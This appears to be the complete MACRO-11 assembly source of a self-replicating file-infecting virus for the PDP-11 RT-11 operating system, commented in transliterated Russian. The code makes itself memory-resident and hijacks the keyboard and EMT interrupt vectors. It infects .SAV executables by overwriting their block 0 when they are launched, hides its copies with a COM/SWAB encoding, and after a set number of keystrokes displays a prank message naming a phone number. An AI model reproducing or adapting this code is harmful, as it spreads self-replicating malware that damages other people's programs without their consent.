
;---------------------------------------------------------+
;       **  pROGRAMMA WIRUSA S RAZMNOVENIEM. **		  :
;---------------------------------------------------------+
; $BLQ == kOLI^ESTWO NAVATIJ NA KLAWI[U DO PROQWLENIQ
;         DEJSTWIQ.
;   w \TOJ WERSII PREDPOLAGAETSQ, ^TO USRLOC == USRBUF, T.E.
; SME]ENIE K BUFERU USR = 0.
;   wnimanie !!! wSE KOPIII WIRUSA HRANQTSQ W FAJLAH-NOSITELQH
; W ZAKODIROWANNOM PO (som & SWAB) WIDE ZA ISKL@^ENIEM DEKODIROW]IKA.
; (u^ASTOK MEVDU METKAMI SEC2...EDISP).

	.TITLE	VIRUS
	.IDENT	"V05.07"
	.LIBRARY	'SY:SYSMAC.SML'
	.MCALL	 .SETTOP, .PRINT, .SERR, .PURGE, .HERR, .TTYIN, .ROFDF

	$BLQ  = 047777		; KOL-WO  NAVATIJ NA KLAWI[U
	JSW   = 44		; SLOWO SOSTOQNIQ ZADA^I
	BEGIN = 52		; ADRES NA^ALA KODOW
	SIZE  = .END - .STCOD	; RAZMER WIRUSA W BAJTAH
	.ROFDF			; OPREDELENIE FIKS. SME]ENIJ W RMON
	.ASECT
	.=JSW
	.WORD	400		; DIREKTIWA KMON DLQ ^TENIQ 0 BLOKA W ozu
	.=BEGIN			; NA^ALO KODOW
;---------------------------------------------------------+
; ***     sEKCIQ - INSTALLQTOR. dELAET WIRUS REZIDENTNYM. :
;---------------------------------------------------------+
			;  == R1 - UKAZYWAET NA USR
.STCOD:
.START:
	TST	DECNET(R5)	; WIRUS UVE W PAMQTI ?
	BNE	GORET		; ..DA - WERNUTXSQ W BAZOWU@ PROGRAMMU
	BIT	#10000,STATWD(5); MY W KOMANDNOM FAJLE ?
	BNE	GORET		; ..DA - O^ENX VALX..
	MOV	R1,R4		; UKAZATELX NA USR
			; == i]EM NA^ALO KMON
5$:	
	SUB	#1000,R4
	BLOS	GORET		; KMON NE NAJDEN
	TST	(R4)
	BNE	5$
	CMP	2(R4),(PC)+
	MOV	PC,R4
	BNE	5$
			; == KMON NAJDEN
	CMP	(R4)+,(R4)+	; R4 UKAZYWAET NA .LOCK W KMONE
	MOV	#<-SIZE/2>,R0	; NA SKOLXKO SMESTITX SIST. KOMPONENTY
	MOV	SP,STACK	; SOHRANIM RODNOJ SP !!!
	MOV	R1,SP		; PEREMESTIM STEK W KMON
	CALL	2(R4)		; sDWINEM KMON+USR+VIRUS+STACK WNIZ
	MOV	(PC)+,SP	; WOSSTANOWIM STARYJ STEK
STACK:	.BLKW	1
	MOV	PC,R3		; WY^ISLIM
	ADD	#.STCOD-.,R3	; UKAZATELX NA WIRUS W BUFERE USR
	MOV	@#SYSPTR,R5
	MOV	$USRLC(R5),R0
	ADD	USRARE(R5),R0	; UKAZATELX NA OSWOBOD. MESTO,
	MOV	R0,DECNET(R5)	; KUDA SQDET WIRUS.
	MOV	#SIZE,R2	;
	MOV	#60,R4		
	MOV	(R4),KLVEC	; SOHRANIM WEKTORA KLAWIATURY I emt
	ASR	R4
	MOV	(R4),EMTVEC
1$:	MOVB	(R3)+,(R0)+	; sKOPIRUEM WIRUS IZ USR W SWOB. MESTO.
	SOB	R2,1$
	SUB	R3,R0		; KONSTANTA PEREME]ENIQ
	ADD	PC,R0		; ZAHWATIM WEKTORA NA REZIDENTA
100$:	MOV	R0,(R4)
	ADD	#EDISP-100$,(R4)
	ADD	#DISP-100$,R0
	MOV	R0,@#60
			; == iNSTALLQCIQ ZAWER[ENA.
GORET:	JMP	@(PC)+
OLDADR:	.WORD	SYSTEM		; ADRES TO^KI WHODA W BAZOWU@ PROGRAMMU. 
;---------------------------------------------------------+
; ***     sEKCIQ - WREDITELX.  				  :
;---------------------------------------------------------+
DISP:	DEC	(PC)+		; nAVALI NA KLAWI[U -
COUNT:	.WORD	$BLQ		; UWELI^ILI SODERVIMOE S^ET^IKA
				; s^ET^IK DOSTIG POROGA ?
	BNE	EXKL		; ..NET - PEREDATX UPR. W SISTEMNYJ
				; OBRABOT^IK.
	JSR	R0,PRINTG	; ..DA !!

MESSAGE:.BYTE	33,'H,33,'J,33,'Y,42.,50.,16
	.ASCII	"pOZWONITE lOZINSKOMU PO TEL. 292-40-76"
	.BYTE	17,33,'H,0
	.EVEN

PRINTG:	.PRINT			; nAPE^ATATX GADOSTX
	MOV	#$BLQ,COUNT
	MOV	(SP)+,R0
EXKL:	JMP	@(PC)+		; PEREHOD W SIST. OBRABOT^IK
KLVEC:	.BLKW	1
.IIF GT,<.-360>     .ERROR .-360; First section too long !!!
		; KONEC 1-J SEKCII, T.K. ZDESX W .SAV FAJLE
		; NAHODITSQ TABLICA ZAGRUZKI. 
ES1:
	.=400
SEC2:
;---------------------------------------------------------+
; ***     sEKCIQ - DEKODIROW]IK.  			  :
;---------------------------------------------------------+
;  s@DA PEREDAET UPRAWLENIE KMON
START:
	MOV	@#SYSPTR,R5
	MOV	$USRLC(R5),R1	;  PRISTUPIM K DEKODIROWKE.
	MOV	R1,R0
	ADD	#.END,R0	; UKAZATELX NA KONEC WIRUSA W USR
	MOV	#<SIZE/2>,R2
	DEC	(PC)		; DEKODIRUEM INSTRUKCI@ "COM -(R0)"
	ASL	(R0)+		; ++ASL	(PC)
				; DEKODIRUEM WIRUS...
1$:	.WORD	5140 / 2	; ++COM	-(R0)
	SWAB	(R0)
	SOB	R2,1$
	JMP	(R0)		; I ZAPUSKAEM INSTALLQTOR. (".START")
;---------------------------------------------------------+
; ***     sEKCIQ - RAZMNOVITELX I emt - DISPET^ER.	  :
;---------------------------------------------------------+
EDISP:				; kTO-TO PODAL emt...
	MOV	R5,-(SP)	; SOHORANIM REGISTRY !!!
	MOV	R4,-(SP)
	MOV	R3,-(SP)
	MOV	R0,-(SP)
	MOV	@#SYSPTR,R5
	MOV	$USRLC(R5),R4	; UKAZATELX NA BUFER USR
	MOV	10(SP),R3	; rAZBEREMSQ,
	CMP	-(R3),(PC)+	; KOD EMT == .SETTOP ?
	.SETTOP
	BNE	NORUN		; ..NET - NU LADNO...
	CMP	R0,50(R4)	; ..DA, A MOVET, \TO ZAPUSK PROGRAMMY ?
	BNE	NORUN		; ..NET - NU LADNO...
	ADD	#JSW,R4		; 44+R4
	BIT	#400,(R4)	; ..DA, A EE MOVNO ZARAZITX ?
	BNE	NORUN		; 
	BIT	#20000,(R4)	; 
	BNE	NORUN		; ..NET - NU ^TO VE \TO TAKOE !
	CMP	-(R4),#1000	; ..DA, A W NEJ 0 BLOK SWOBODEN ?
	BMI	NORUN		; ..NET - O^ENX VALX...
		; ..DA - URA, POPALASX !!!
	MOV	-(R4),OLDADR	; USTANOWIM ADRES PEREHODA W
				; BAZOWUQ PROGRAMMU.
	MOV	#$BLQ,COUNT	; uSTANOWIM S^ET^IK ZAPADLA
	.SERR			; ZAPRETIM WYHOD PO SERXEZNOJ O[IBKE.
	MOV	(SP),R3		; a ZDESX ORGANIZUEM PROMEVUT. BUFER.
	MOV	#400,R0
	MOV	DECNET(R5),R5
	TST	(R3)+		; ADD #2 R3 - SKORREKTIRUEM ADRESA
	CLR	-(SP)		; ZANESEM W STEK ARGUMENTY DLQ .WRITW
	MOV	R0,-(SP)	; -- WCNT
	MOV	R3,-(SP)	; -- ADDR
	SUB	#40,R4
1$:	MOV	(R4)+,(R3)+
	SOB	R0,1$	; SKOPIRUEM 0 BLOK IZ USR W PROM. BUFER.

		; A TEPERX POPYTAEMSQ OTYSKATX W KMONE IMQ .SAV FAJLA..		
		; I OTKRYTX \TOT FAJL PO KANALU 0
	MOV	(PC)+,R0
OFBLK:	.WORD	10000
	EMT	20	; SNA^ALA PO STAROMU SME]ENI@...
	BCC	DUBL	; UH TY ! OTKRYLSQ !!!
	MOV	R4,R0	; ..NET - BUDEM ISKATX WSE, ^TO ZAKAN^IWAETSQ 
1$:	CMP	R0,R3	; NA .SAV I PYTATXSQ EGO OTKRYWATX...
	BHIS	13$
	ADD	#6,SP	; ..DA-A-... ^TO-TO NI^EGO NE WY[LO...
	BR	NORUN	; VALX - VALX...
13$:	CMP	-(R0),(PC)+
	.RAD50	"SAV"
	BNE	1$
	CMP	-(R0),-(R0)
	CMP	-(R0),(PC)+
	.RAD50	"SY "
	BEQ	1$
	MOV	R0,OFBLK
	EMT	20
	BCS	1$
DUBL:		; == WSE o.k. - MOVNO PLODITXSQ.
	MOV	(SP),R4		; UKAZATELX NA PROM. BUFER.
	MOV	#START,40(R4)	; ZAHWATIM STARTOWYJ ADRES
	BIS	#400,JSW(R4)	; USTANOWIM FLAG "ZARAVENO"
	ADD	#.START,R4	; R4 - UKAZATELX NA WIRUS
	JSR	R2,COPY1	; SKOPIRUEM 1 SEKCI@
	.WORD	<ES1-.START>/2
	JSR	R2,COPY2	; SKOPIRUEM 2 SEKCI@
	.WORD	SEC2-ES1
	.WORD	<.END-SEC2>/2
	EMT	220		; ZARAZIM PROGRAMMU - ZAMENIM 0 BLOK.
	.PURGE	#0
	.HERR
NORUN:	MOV	(SP)+,R0	; I PRODOLVIM PROCESS ZAPUSKA
	MOV	(SP)+,R3	; UVE ZARAVENNOJ PROGRAMMY.
	MOV	(SP)+,R4
	MOV	(PC)+,R5
EMTVEC:	.BLKW	1
	RTS	R5
COPY2:		; == PROCEDURA PEREME]ENIQ MASSIWOW
	ADD	(R2),R4		; SME]ENIE
	ADD	(R2)+,R5
COPY1:	MOV	(R2)+,R0	; KOLI^ESTWO SLOW
1$:	MOV	(R5)+,(R4)
	SWAB	(R4)
	COM	(R4)+
	SOB	R0,1$
	RTS	R2

.IIF GT,<.-1000>     .ERROR .-1000; First section too long !!!
.END:
	.=1000
EXEC:
	.PRINT	#WIRUS
	.TTYIN
	CMPB	R0,#'Y
	BNE	1$
	MOV	@#54,R5
	MOV	$USRLC(R5),R0
	ADD	#.START,R0
	MOV	R0,R4
	MOV	#<ES1-.STCOD>/2,R1
110$:	COM	(R0)
	SWAB	(R0)+
	DEC	R1
	BNE	110$
	MOV	#<.END-EDISP>/2,R1
	ADD	#EDISP-.START,R4
111$:	COM	(R4)
	SWAB	(R4)+
	DEC	R1
	BNE	111$
	COM	OLDADR
	SWAB	OLDADR
	JMP	START
	MOV	$USRLC(R5),R5
1$:	.PRINT	MESSAGE(R5)
	EMT	350
SYSTEM:	.PRINT	#LOAD
	EMT	350
LOAD:	.ASCIZ	"Attention !!! VIRUS in operating memory !!!"
WIRUS:	.ASCIZ	"Loading VIRUS !!!  Are you sure ? "<200>
	.EVEN
	.BLKB	100.
	.END	EXEC
                                                                                                                                                                                                                                                                